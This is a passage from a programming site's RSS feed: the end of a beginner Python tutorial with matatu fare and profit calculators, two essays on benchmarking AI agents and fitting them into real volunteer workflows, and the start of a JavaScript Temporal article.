print(&quot;done&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;Nairobi &amp;gt; Thika &amp;gt; Kenol
Counting heads... done
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;For anything longer, use an f-string. Put an &lt;code&gt;f&lt;/code&gt; before the opening quote and write expressions inside curly braces. After a colon you control the format:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;fuel_cost = 5.5 * 190
print(f&quot;{sacco} spent KSh {fuel_cost:.2f} on fuel&quot;)
print(f&quot;KSh {1234567.891:,.2f}&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;Mwananchi Express spent KSh 1045.00 on fuel
KSh 1,234,567.89
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The &lt;code&gt;.2f&lt;/code&gt; means &quot;two digits after the decimal point,&quot; and the comma adds thousands separators. F-strings also fix the &lt;code&gt;&quot;Seats: &quot; + 14&lt;/code&gt; problem, because they convert values to text for you.&lt;/p&gt;
&lt;h4 id=&quot;input-with-input-&quot;&gt;Input with &lt;code&gt;input()&lt;/code&gt;&lt;/h4&gt;
&lt;p&gt;&lt;code&gt;input()&lt;/code&gt; shows a prompt, waits for the user to type and press Enter, then hands you what they typed. In the transcripts below, the text after each prompt is what the user typed.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;name = input(&quot;Conductor name: &quot;)
print(&quot;Karibu,&quot;, name)
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;Conductor name: Maxwell
Karibu, Maxwell
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Remember this rule: &lt;code&gt;input()&lt;/code&gt; always returns a string. If the user types &lt;code&gt;3&lt;/code&gt;, you receive the text &lt;code&gt;&quot;3&quot;&lt;/code&gt;.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;passengers = input(&quot;Passengers: &quot;)
print(passengers + 1)
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;Passengers: 3
Traceback (most recent call last):
  File &quot;matatu.py&quot;, line 2, in &amp;lt;module&amp;gt;
    print(passengers + 1)
          ~~~~~~~~~~~^~~
TypeError: can only concatenate str (not &quot;int&quot;) to str
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The fix is to convert the moment the value arrives: &lt;code&gt;passengers = int(input(&quot;Passengers: &quot;))&lt;/code&gt;. If the user types something that is not a number, &lt;code&gt;int()&lt;/code&gt; raises a &lt;code&gt;ValueError&lt;/code&gt;. Handling that needs &lt;code&gt;try&lt;/code&gt; and &lt;code&gt;except&lt;/code&gt;, which sit outside this article. For now, know that it can happen.&lt;/p&gt;
&lt;h3 id=&quot;syntax-rules-that-hold-it-together&quot;&gt;Syntax rules that hold it together&lt;/h3&gt;
&lt;p&gt;Python's syntax is small. Five rules cover most of what you will write this month.&lt;/p&gt;
&lt;p&gt;Indentation is part of the language. Where other languages use braces, Python uses the four spaces at the start of a line to show what belongs inside an &lt;code&gt;if&lt;/code&gt;. Leave them out and Python stops you:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;seats = 14
if seats &amp;gt; 10:
print(&quot;big&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;  File &quot;matatu.py&quot;, line 3
    print(&quot;big&quot;)
    ^
IndentationError: expected an indented block after 'if' statement on line 2
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;A colon ends the line that opens a block (&lt;code&gt;if&lt;/code&gt;, &lt;code&gt;elif&lt;/code&gt;, &lt;code&gt;else&lt;/code&gt;). Comments start with &lt;code&gt;#&lt;/code&gt;, and Python ignores them, so use them to explain why you did something. A line break ends a statement, so you need no semicolons. And names are case sensitive, as you saw with &lt;code&gt;Seats&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;The &lt;code&gt;if&lt;/code&gt; statement is the one piece of flow control we need. It runs a block only when a boolean is &lt;code&gt;True&lt;/code&gt;. The second and third projects below use it.&lt;/p&gt;
&lt;h3 id=&quot;practical-example-1-the-conductor-s-change-counter&quot;&gt;Practical example 1: the conductor's change counter&lt;/h3&gt;
&lt;p&gt;A passenger owes KSh 70 and hands over a KSh 500 note. The conductor must return the right change, fast, and sometimes the passenger has paid too little. This program uses integers, division, a boolean and an &lt;code&gt;if&lt;/code&gt; statement.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;# change_counter.py
fare_kes = int(input(&quot;Fare (KSh): &quot;))
paid_kes = int(input(&quot;Passenger paid (KSh): &quot;))

enough = paid_kes &amp;gt;= fare_kes

if enough:
    change = paid_kes - fare_kes
    hundreds = change // 100
    small_change = change % 100
    print(f&quot;Change due: KSh {change}&quot;)
    print(f&quot;Give back: {hundreds} x KSh 100, plus KSh {small_change} in smaller notes or coins&quot;)
else:
    print(f&quot;Short by KSh {fare_kes - paid_kes}. Ask for the rest.&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Two runs, one where the passenger overpays and one where they come up short:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;$ python change_counter.py
Fare (KSh): 70
Passenger paid (KSh): 500
Change due: KSh 430
Give back: 4 x KSh 100, plus KSh 30 in smaller notes or coins

$ python change_counter.py
Fare (KSh): 70
Passenger paid (KSh): 50
Short by KSh 20. Ask for the rest.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Follow the arithmetic: 500 minus 70 is 430. Then 430 // 100 is 4, the number of hundred-shilling notes, and 430 % 100 is 30, what remains. The same &lt;code&gt;//&lt;/code&gt; and &lt;code&gt;%&lt;/code&gt; pair that counted full loads now counts notes.&lt;/p&gt;
&lt;h3 id=&quot;practical-example-2-the-trip-profit-calculator&quot;&gt;Practical example 2: the trip profit calculator&lt;/h3&gt;
&lt;p&gt;At the end of a trip, the owner wants to know whether the trip paid for itself. Income is the passenger count times the fare. Costs are the fuel and a flat sacco fee. This program mixes integers and floats and ends on a boolean.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;# trip_profit.py
FARE_KES = 100
SACCO_FEE_KES = 150

passengers = int(input(&quot;Passengers on this trip: &quot;))
fuel_litres = float(input(&quot;Fuel used (litres): &quot;))
price_per_litre = float(input(&quot;Fuel price (KSh per litre): &quot;))

income = passengers * FARE_KES
fuel_cost = fuel_litres * price_per_litre
profit = income - fuel_cost - SACCO_FEE_KES
made_profit = profit &amp;gt; 0

print()
print(f&quot;Income:    KSh {income:,.2f}&quot;)
print(f&quot;Fuel:      KSh {fuel_cost:,.2f}&quot;)
print(f&quot;Sacco fee: KSh {SACCO_FEE_KES:,.2f}&quot;)
print(f&quot;Profit:    KSh {profit:,.2f}&quot;)
print(&quot;Trip paid for itself?&quot;, made_profit)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;A full vehicle on one run, and a half-empty one on another:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;$ python trip_profit.py
Passengers on this trip: 14
Fuel used (litres): 5.5
Fuel price (KSh per litre): 190

Income:    KSh 1,400.00
Fuel:      KSh 1,045.00
Sacco fee: KSh 150.00
Profit:    KSh 205.00
Trip paid for itself? True

$ python trip_profit.py
Passengers on this trip: 9
Fuel used (litres): 5.5
Fuel price (KSh per litre): 190

Income:    KSh 900.00
Fuel:      KSh 1,045.00
Sacco fee: KSh 150.00
Profit:    KSh -295.00
Trip paid for itself? False
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The numbers show why conductors hate leaving half empty. Five fewer passengers turn a KSh 205 profit into a KSh 295 loss. Look at the types: &lt;code&gt;passengers&lt;/code&gt; is an integer, &lt;code&gt;fuel_litres&lt;/code&gt; is a float, and multiplying the integer by the integer constant gives an integer, while any product with a float gives a float. The &lt;code&gt;:,.2f&lt;/code&gt; format makes every amount line up with two decimals and a thousands separator.&lt;/p&gt;
&lt;h3 id=&quot;practical-example-3-the-departure-call&quot;&gt;Practical example 3: the departure call&lt;/h3&gt;
&lt;p&gt;The hardest decision on the route is when to go. Leave too early and you lose fares. Wait too long and passengers get off. This program takes the number of people on board and the minutes spent waiting, turns them into three booleans, and decides.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;# departure.py
SEATS = 14

boarded = int(input(&quot;Passengers on board: &quot;))
minutes_waiting = int(input(&quot;Minutes waiting: &quot;))

is_full = boarded &amp;gt;= SEATS
waited_long = minutes_waiting &amp;gt;= 20
half_full = boarded &amp;gt;= SEATS / 2

if is_full:
    print(&quot;Decision: full. Close the door and go.&quot;)
elif waited_long and half_full:
    print(&quot;Decision: enough people and enough waiting. Leave now.&quot;)
elif waited_long:
    print(&quot;Decision: long wait, few riders. Keep calling, but tell them the delay.&quot;)
else:
    print(&quot;Decision: keep calling for passengers.&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Four situations, four decisions:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;$ python departure.py
Passengers on board: 14
Minutes waiting: 5
Decision: full. Close the door and go.

$ python departure.py
Passengers on board: 9
Minutes waiting: 25
Decision: enough people and enough waiting. Leave now.

$ python departure.py
Passengers on board: 4
Minutes waiting: 30
Decision: long wait, few riders. Keep calling, but tell them the delay.

$ python departure.py
Passengers on board: 6
Minutes waiting: 8
Decision: keep calling for passengers.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Python checks the &lt;code&gt;if&lt;/code&gt; and &lt;code&gt;elif&lt;/code&gt; lines from top to bottom and runs only the first block whose condition is true. That is why the full vehicle leaves even after five minutes: &lt;code&gt;is_full&lt;/code&gt; is checked first. Notice that &lt;code&gt;SEATS / 2&lt;/code&gt; is a float (7.0), and comparing an integer with a float works without any conversion.&lt;/p&gt;
&lt;h3 id=&quot;try-it-yourself&quot;&gt;Try it yourself&lt;/h3&gt;
&lt;p&gt;You now have every piece for tools like these. Pick one and bend it:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Extend the change counter to hand back KSh 50 notes as well as KSh 100 notes, using another &lt;code&gt;//&lt;/code&gt; and &lt;code&gt;%&lt;/code&gt; step.&lt;/li&gt;
&lt;li&gt;Change the profit calculator to ask for the fare, so it works for a route that charges KSh 60 or KSh 150.&lt;/li&gt;
&lt;li&gt;Add a fourth rule to the departure call: if the road is blocked, tell the passengers and stop counting.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Then pick a small problem from your own week. Splitting a shopping bill, converting shillings to dollars and tracking your data bundle all follow the same steps: ask for input, convert it, calculate, and print the answer. Each program you finish teaches you more than another hour of reading. &lt;/p&gt;
</description>
<category>Articles</category>
<guid isPermaLink="true">https://coderlegion.com/29960/python-basics-in-the-matatu-context</guid>
<pubDate>Tue, 06 Oct 2026 09:19:50 +0000</pubDate>
</item>
<item>
<title>How to Evaluate AI Agent with Benchmark in Practice?</title>
<link>https://coderlegion.com/29824/how-to-evaluate-ai-agent-with-benchmark-in-practice</link>
<description>&lt;blockquote&gt;&lt;p&gt;Is your agent worth evaluating? If so, how much should you invest—and how do you ensure the evaluation actually serves the business?&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2 id=&quot;1-is-your-agent-s-work-worth-evaluating-yet-&quot;&gt;1. Is Your Agent's Work Worth Evaluating Yet?&lt;/h2&gt;
&lt;p&gt;Many teams miss this fundamental question: does your agent actually need an evaluation right now?&lt;/p&gt;
&lt;p&gt;When developers rush to find or build a benchmark, they often forget the first principle: &lt;strong&gt;evaluation is a means, not the goal.&lt;/strong&gt; Measurement exists only to inform decisions, and decisions exist only to drive business outcomes.&lt;/p&gt;
&lt;p&gt;Before building anything, ask yourself three questions:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Does the project have a well-defined objective?&lt;/strong&gt; Without a clear definition of what success looks like, you cannot establish a meaningful evaluation framework.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Will the evaluation actually change your decisions?&lt;/strong&gt; If the results won't alter your vendor selection, agent architecture, or cost structure, running the eval is pure theater.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Does the expected value of the decision outweigh the cost of running the eval?&lt;/strong&gt; Constructing an eval requires time, curating data, tooling, and expert review. Scoping the evaluation appropriately is the key to economic viability.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Only after confirming the necessity of evaluation should you consider a benchmark.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;A benchmark is simply one implementation mechanism—not the evaluation itself.&lt;/strong&gt; You can gauge an agent's performance through A/B testing on live traffic, side-by-side human reviews, or by tracking downstream business metrics.&lt;/p&gt;
&lt;p&gt;The goal of a benchmark isn't to look professional. Its true value is that it codifies the evaluation criteria, standardizes the test distribution, and allows repeatable, high-efficiency regression testing over time.&lt;/p&gt;
&lt;p&gt;You only need a benchmark when:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;You are comparing multiple candidate models, versions, or pipeline architectures.&lt;/li&gt;
&lt;li&gt;You need continuous regression testing to detect silent capability degradation.&lt;/li&gt;
&lt;li&gt;You need to verify whether the agent's real-world performance still matches pre-deployment baselines.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Prioritize evaluating capabilities that directly govern critical business decisions. You don't need to evaluate every single edge case; you only need to evaluate what impacts business value.&lt;/p&gt;
&lt;h2 id=&quot;2-how-much-should-you-invest-in-evaluation-&quot;&gt;2. How Much Should You Invest in Evaluation?&lt;/h2&gt;
&lt;p&gt;Evaluation is an investment: trading bounded capital for decision confidence.&lt;/p&gt;
&lt;p&gt;An evaluation result is never an absolute truth; it is simply a probabilistic judgment within a confidence interval. In practice, evaluations do not need to be perfect—they just need to be actionable. In the messy real world, ambiguous edge cases and imperfect ground truths are inevitable.&lt;/p&gt;
&lt;p&gt;Even &lt;a rel=&quot;nofollow&quot; href=&quot;https://www.image-net.org/static_files/papers/imagenet_cvpr09.pdf&quot;&gt;&lt;strong&gt;ImageNet&lt;/strong&gt;&lt;/a&gt;—the landmark benchmark that revived deep learning (over 14 million annotated images, with 1.28 million in the ILSVRC contest set)—shattered its own illusion of perfection. While Fei-Fei Li's team reported a 99.7% precision in their 2009 random audit across 80 classes, subsequent research proved that noise is impossible to eliminate:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Mechanism Distortion:&lt;/strong&gt; Google's &lt;a rel=&quot;nofollow&quot; href=&quot;https://arxiv.org/abs/2006.07159&quot;&gt;ImageNet-ReaL&lt;/a&gt; (Beyer et al., 2020) revealed that real-world images frequently feature multiple objects. The original single-label constraint meant models were often penalized for detecting real, unlabeled objects.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Systemic Noise:&lt;/strong&gt; NeurIPS 2021 research by &lt;a rel=&quot;nofollow&quot; href=&quot;https://arxiv.org/abs/2103.14749&quot;&gt;Northcutt et al.&lt;/a&gt; confirmed that the ImageNet validation set contains &lt;strong&gt;at least 5.83% hard label errors&lt;/strong&gt; (over 2,916 mislabeled samples out of 50,000, including dogs tagged as handbags).&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;If a foundational pillar of modern AI operates with 6% noise, you should not expect your internal business benchmarks to be flawless. You are not buying omniscience; you are buying directional clarity through the fog.&lt;/p&gt;
&lt;p&gt;Evaluate your spend using a simple ROI lens:&lt;/p&gt;
&lt;blockquote&gt;&lt;p&gt;Expected Net Value = (Δ Confidence × Δ Agent Performance × Marginal Business Value) − Eval Cost&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;An evaluation is only justifiable when the expected net return is clearly positive.&lt;/p&gt;
&lt;p&gt;Keep in mind that capability improvements are rarely linear with business returns. A 10% jump in raw model performance might not move the needle on conversions at all. Conversely, in winner-take-all scenarios, a fractional bump in reliability can decide the entire product's survival.&lt;/p&gt;
&lt;h2 id=&quot;3-start-with-real-workflow-data&quot;&gt;3. Start with Real Workflow Data&lt;/h2&gt;
&lt;p&gt;In enterprise scenarios, a benchmark is a system design challenge, not just a dataset.&lt;/p&gt;
&lt;p&gt;Raw workflow logs are the cheapest data to acquire, but the true value lies in the downstream cleaning, curation, and labeling. Every annotation represents an encoded human judgment. When we define a benchmark, we are essentially assembling an aggregate record of operational decisions.&lt;/p&gt;
&lt;p&gt;How do you sustainably collect these judgments? Through domain experts, crowdsourcing, or implicit user feedback loops (much like how Google turned reCAPTCHA into a massive crowdsourced labeling engine). A robust benchmark cannot exist without the infrastructure that continuously feeds it.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;A benchmark with compounding interest becomes a core business asset.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Building high-quality evaluation sets from real workflows drives agent performance, which improves user adoption and generates more downstream data. This self-reinforcing loop is the classic data flywheel.&lt;/p&gt;
&lt;p&gt;Many teams mistakenly believe that simply hoarding data creates a flywheel. They miss the operational loop: building the evaluation system that guides model iterations, and verifying that those iterations actually drive business KPIs. Only with those two components in place does data compound.&lt;/p&gt;
&lt;p&gt;However, a high benchmark score does not guarantee production adoption.&lt;/p&gt;
&lt;p&gt;This was the most painful lesson from my own production rollouts: I conflated algorithmic precision with workflow success.&lt;/p&gt;
&lt;p&gt;In a previous project for a non-profit, I built an agent pipeline featuring regional Chinese dialect ASR to transcribe interviews, summarize case notes, and automatically fill out reporting forms. We spent weeks carefully curating and labeling a pristine, gold-standard dataset, and the model's benchmark performance was stellar.&lt;/p&gt;
&lt;p&gt;Yet, when we delivered the tool, our operations staff pushed back aggressively. In the PoC, we had required them to open a separate web portal, log in, and manually upload audio recordings. This single additional friction point severely disrupted their day.&lt;/p&gt;
&lt;p&gt;After sitting down with the team, we realized their existing workflows lived entirely inside their daily work software. We pivoted: we embedded the agent silently into that same workflow, requiring zero behavior changes. Only then was the automation successfully adopted.&lt;/p&gt;
&lt;p&gt;That experience taught me an indelible lesson: a massive chasm separates stellar eval metrics from seamless workflow integration.&lt;/p&gt;
&lt;h3 id=&quot;closing&quot;&gt;Closing&lt;/h3&gt;
&lt;p&gt;Evaluation does not start by picking a benchmark off the shelf and grading your agent like a student.&lt;/p&gt;
&lt;p&gt;It must begin with a genuine business decision: what is worth knowing, why do we need to know it now, and what is the cost of acquiring that certainty?&lt;/p&gt;
&lt;p&gt;The real value of a benchmark is not proving how capable your agent is. It is bringing clarity, repeatability, and a shared language to your engineering and executive decisions.&lt;/p&gt;
</description>
<category>Articles</category>
<guid isPermaLink="true">https://coderlegion.com/29824/how-to-evaluate-ai-agent-with-benchmark-in-practice</guid>
<pubDate>Mon, 05 Oct 2026 10:33:26 +0000</pubDate>
</item>
<item>
<title>Why Good Agent Evaluation Wasn’t Enough for Production</title>
<link>https://coderlegion.com/29819/why-good-agent-evaluation-wasnt-enough-for-production</link>
<description>&lt;p&gt;&lt;strong&gt;&quot;They used it once and refused to touch it again.&quot;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;When that feedback landed two weeks in, I could barely believe it. An agent validated against a benchmark built on real-world data had still failed to solve the foundation’s workflow problem.&lt;/p&gt;
&lt;p&gt;Only in hindsight did I realize: I had evaluated the agent's processing capability, but I never evaluated whether volunteers could actually use it to get their job done.&lt;/p&gt;
&lt;h2 id=&quot;1-every-house-has-a-kitchen-why-build-a-community-canteen-&quot;&gt;1. Every House Has a Kitchen—Why Build a Community Canteen?&lt;/h2&gt;
&lt;p&gt;A friend working at a non-profit foundation once shared a story with me:&lt;/p&gt;
&lt;blockquote&gt;&lt;p&gt;A rural village had poured resources into numerous senior welfare initiatives over the years, yet life satisfaction barely moved. What ultimately made a difference was building a communal canteen.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;When the village head first heard the project proposal, he was deeply skeptical: Every single elderly household has its own kitchen. Why on earth do we need a village canteen?&lt;/p&gt;
&lt;p&gt;Field visits later validated two straightforward reasons. First, cooking had simply become too physically taxing for the seniors—especially firing up a stove in the sweltering heat, which was pure misery. Second, beyond serving hot meals, the canteen at the village entrance created a regular venue for group interaction. It gave them a place to run into people and chat, directly addressing their need for social connection.&lt;/p&gt;
&lt;p&gt;This counterintuitive, genuine need was surfaced by foundation staff and volunteers through round after round of authentic home-visit conversations with local seniors.&lt;/p&gt;
&lt;p&gt;Their organization runs diverse programs nationwide. These projects rely on cohorts of short-term volunteers who pay regular visits to seniors across different age groups, speaking varied regional dialects. Those conversational touchpoints hold the richest, yet most frequently overlooked, context regarding the seniors' current living conditions and real needs.&lt;/p&gt;
&lt;p&gt;While my friend had the foresight to archive these interview audio recordings, data collection still leaned entirely on volunteers manually filling out questionnaires.&lt;/p&gt;
&lt;p&gt;That survey workflow was time-consuming and labor-intensive, making standardization difficult. More crucially, longitudinal insights—such as tracking changes in a senior's condition over time—rarely materialized.&lt;/p&gt;
&lt;p&gt;Meanwhile, a lean foundation team couldn't realistically audit hours of raw audio by hand.&lt;/p&gt;
&lt;p&gt;They needed a way to truly listen to these seniors at scale.&lt;/p&gt;
&lt;h2 id=&quot;2-from-an-audio-file-to-an-auditable-interview-record&quot;&gt;2. From an Audio File to an Auditable Interview Record&lt;/h2&gt;
&lt;p&gt;I realized the foundation didn’t need raw audio files; they needed reliable, verifiable interview records. That breakdown came down to three concrete requirements.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;First: Accurate content transcription.&lt;/strong&gt; Across these interviews, seniors speaking regional Chinese dialects was the baseline reality. This required a rigorous vendor evaluation for speech-to-text (STT).&lt;/p&gt;
&lt;p&gt;I requested a small batch of authentic interview datasets. These were dialect-heavy recordings—each running over 30 minutes, spanning dozens of back-and-forth turns, with standard Mandarin and local dialects constantly interspersed. I benchmarked several speech recognition vendors that supported dialects against these files.&lt;/p&gt;
&lt;p&gt;Evaluation was constrained to spot-checks by team members fluent in the respective dialects, paired with holistic context sanity checks. Through this filtering, I locked down our technical vendor and measured average transcription costs on real-world data.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Second: Accurate speaker identification.&lt;/strong&gt; Listening closely to the tapes revealed messy, real-world conversational dynamics, typically involving multi-party conversations.&lt;/p&gt;
&lt;p&gt;Volunteers often conducted visits in small teams. Meanwhile, the senior being interviewed was frequently surrounded by family members or neighbors chiming in. For instance, if an extraction pipeline relied purely on raw transcripts to log the senior's health updates, it could easily misattribute statements made by the spouse.&lt;/p&gt;
&lt;p&gt;However, STT vendors supporting broad dialect coverage rarely offered out-of-the-box speaker identification. In our processing pipeline, we therefore had to run speaker identification on the raw audio of each segmented utterance, injecting speaker identity as a critical context layer.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Third: Grounded rationale extraction.&lt;/strong&gt; The survey questions had to be answered strictly based on the interview dialogue, and many items had direct evidentiary clues scattered across the transcript.&lt;/p&gt;
&lt;p&gt;My primary concern here was hallucination in the underlying LLM—specifically, downstream evaluative conclusions generated without factual backing.&lt;/p&gt;
&lt;p&gt;I addressed this with a two-layer design: 1) Structurally, the workflow retained a human-in-the-loop review step for volunteers to verify answers. 2) Technically, in addition to outputting the structured form fields, the agent was forced to simultaneously extract the verbatim dialogue snippets serving as evidence.&lt;/p&gt;
&lt;p&gt;This second design unlocked a standardized benchmark to score relevance between the model’s outputs and the source transcript, measuring precision and recall on evidence retrieval. While this doesn't offer an absolute algorithmic guarantee against hallucinations, it effectively benchmarked different model providers. It also enabled runtime quality checks on citation integrity in production, providing a reliable proxy for dialogue session health.&lt;/p&gt;
&lt;p&gt;Anchored on these three core principles, I set out to hand-label the small sample of real interview data to stand up our benchmark.&lt;/p&gt;
&lt;p&gt;Dialect testing was limited to spot-checking rather than turn-by-turn ground-truth matching, so the benchmark baseline assumed clean, pre-segmented utterances. I built a lightweight internal web tool to load this context, play back audio per utterance, and let me label speaker identities.&lt;/p&gt;
&lt;p&gt;For the post-interview survey extraction, I created ground-truth annotations of verbatim evidence and corresponding answers across the sample cases. The evidence retrieval was cleanly testable with deterministic metrics, while answer accuracy was evaluated using an LLM-as-a-judge approach as a directional reference.&lt;/p&gt;
&lt;p&gt;With this benchmark running, I vibe-coded an end-to-end web prototype and iterated through multiple testing loops. This involved refactoring the data processing pipeline, redesigning the web interface flow, and selecting key vendors—particularly balancing latency, accuracy, and operational cost.&lt;/p&gt;
&lt;p&gt;Ultimately, the prototype reached a very usable level on the benchmark. The dataset was small, but I had reasonable confidence in the pipeline's output quality.&lt;/p&gt;
&lt;h2 id=&quot;3-the-benchmark-looked-great-why-did-volunteers-refuse-to-use-it-&quot;&gt;3. The Benchmark Looked Great. Why Did Volunteers Refuse to Use It?&lt;/h2&gt;
&lt;p&gt;The benchmark numbers gave me strong confidence in this build. I recorded a demo video for my friend, who was also impressed with the output. Within two days, he assigned a remote intern and the volunteer operations lead to pilot the tool in an upcoming regional field visit.&lt;/p&gt;
&lt;p&gt;For the next few weeks, I repeatedly checked our dashboard, watching trial volunteers sign up and trigger runs. The counters showed tasks completing normally, and I convinced myself that the tool had solved the foundation's interview processing problem.&lt;/p&gt;
&lt;p&gt;Two weeks later, my friend came back with the field report: the end-user experience was terrible. After testing it once, the frontline volunteers refused to touch it again.&lt;/p&gt;
&lt;p&gt;I have to admit, when that feedback first came in, I found it hard to believe. With an evaluation backed by real-world audio showing strong results, the actual production experience should not have been so poor.&lt;/p&gt;
&lt;p&gt;Where did it break?&lt;/p&gt;
&lt;p&gt;I first synced with the intern, who insisted the product vision was completely spot-on and genuinely meaningful. We brainstormed a backlog of incremental feature optimizations. Then, pulled away by other priorities over the next few months, I let the project stall.&lt;/p&gt;
&lt;p&gt;Later, my friend insisted on pushing this tool through to full deployment for ongoing volunteer operations. I joined one of their internal working sessions. That was when I realized the intern was working remotely; like me, he had limited visibility into the day-to-day work of frontline volunteers.&lt;/p&gt;
&lt;p&gt;In that meeting, I finally spoke with the volunteer coordinator who had reported the poor experience. Listening to her describe the workflow, I caught the core friction point causing the backlash: for volunteers, the operational overhead had multiplied, while the perceived efficiency gain over their legacy process was negligible.&lt;/p&gt;
&lt;p&gt;I asked her to walk me through their baseline workflow. They already had a standardized SOP for regional field teams: volunteers simply completed their onsite interview, uploaded the audio file, and manually filled out the survey form.&lt;/p&gt;
&lt;p&gt;Volunteers executed this entire legacy flow on their phones via WeChat, simply tapping a Feishu web form link provided by headquarters.&lt;/p&gt;
&lt;p&gt;My &quot;solution,&quot; by contrast, required volunteers to open a third-party speech SaaS on desktop, register an account, pre-import questionnaire prompt templates, upload audio files turn-by-turn, and export the transcribed extraction as a CSV file.&lt;/p&gt;
&lt;p&gt;It was an embarrassingly obvious failure mode. In retrospect, I struggled to understand how I missed such glaring workflow friction when the initial feedback came in.&lt;/p&gt;
&lt;p&gt;It boils down to one reality: I wasn’t on the ground.&lt;/p&gt;
&lt;h2 id=&quot;4-an-agent-only-works-when-it-disappears-into-the-existing-workflow&quot;&gt;4. An Agent Only Works When It Disappears into the Existing Workflow&lt;/h2&gt;
&lt;p&gt;That feedback was useful because the source of the problem was clear.&lt;/p&gt;
&lt;p&gt;A straightforward idea surfaced: How could I wire this benchmarked pipeline directly into the volunteers' existing workflow? Ideally, the integration would be completely invisible to them, dropping adoption friction to near zero.&lt;/p&gt;
&lt;p&gt;I focused on Feishu, their existing workspace tool. Volunteers were already relying on its native file upload and survey forms for automated data collection. Digging into the platform capabilities, I found that Feishu supported custom workflows combining audio ingestion and LLM execution. I could rebuild the pipeline natively on top of their existing automation infrastructure.&lt;/p&gt;
&lt;p&gt;I stood up the working prototype over a single weekend. It mirrored the exact audio submission entry point volunteers were already accustomed to, handling dialect transcription, speaker parsing, and grounded Q&amp;amp;A extraction entirely downstream.&lt;/p&gt;
&lt;p&gt;The turnaround was immediate and stark.&lt;/p&gt;
&lt;p&gt;The intern quickly grasped why our earlier disconnect from the operational context had derailed us. After reviewing the prototype architecture, he took over and built out the complete internal production implementation. He also spearheaded rollout validation across pilot regions, mapping the geographic distribution of elderly dialects to define the hard operating boundaries of the system. In regions speaking dialects beyond our coverage limits, the legacy manual workflow was kept intact.&lt;/p&gt;
&lt;p&gt;Only then was the project truly in production use.&lt;/p&gt;
&lt;p&gt;Whenever I look back at this case, I stay paranoid about one question: What are the actual measurement boundaries of the benchmark in front of me? And what is it failing to measure?&lt;/p&gt;
&lt;p&gt;This experience didn't invalidate our benchmark. What it made painfully clear was that the benchmark answered a very narrow question: Given an audio file, can the agent generate an accurate, auditable interview record? What it completely failed to answer was: Can a volunteer, as an end user, complete their end-to-end task inside their existing workflow with less operational friction?&lt;/p&gt;
&lt;p&gt;I now view the workflow itself as part of the evaluation, rather than just scoring raw model outputs. How input enters the system, how outputs are reviewed and submitted, and whether human users continue using the tool all help determine whether an agent delivers sustained real-world value.&lt;/p&gt;
</description>
<category>Articles</category>
<guid isPermaLink="true">https://coderlegion.com/29819/why-good-agent-evaluation-wasnt-enough-for-production</guid>
<pubDate>Mon, 05 Oct 2026 10:28:24 +0000</pubDate>
</item>
<item>
<title>Goodbye Date: Why JavaScript is finally getting dates right.</title>
<link>https://coderlegion.com/29825/goodbye-date-why-javascript-is-finally-getting-dates-right</link>
<description>&lt;p&gt;If you've written JavaScript for a while, you've probably fought with &lt;code&gt;Date&lt;/code&gt; at some point. It's one of the oldest parts of the language, barely changed since 1995, and honestly, it shows. Let's look at why it causes so much pain and how the new &lt;code&gt;Temporal&lt;/code&gt; API fixes it, with real, tested examples.&lt;/p&gt;
&lt;h5 id=&quot;date-is-mutable-and-that-bites-people-constantly-&quot;&gt;&lt;code&gt;Date&lt;/code&gt; is mutable, and that bites people constantly.&lt;/h5&gt;
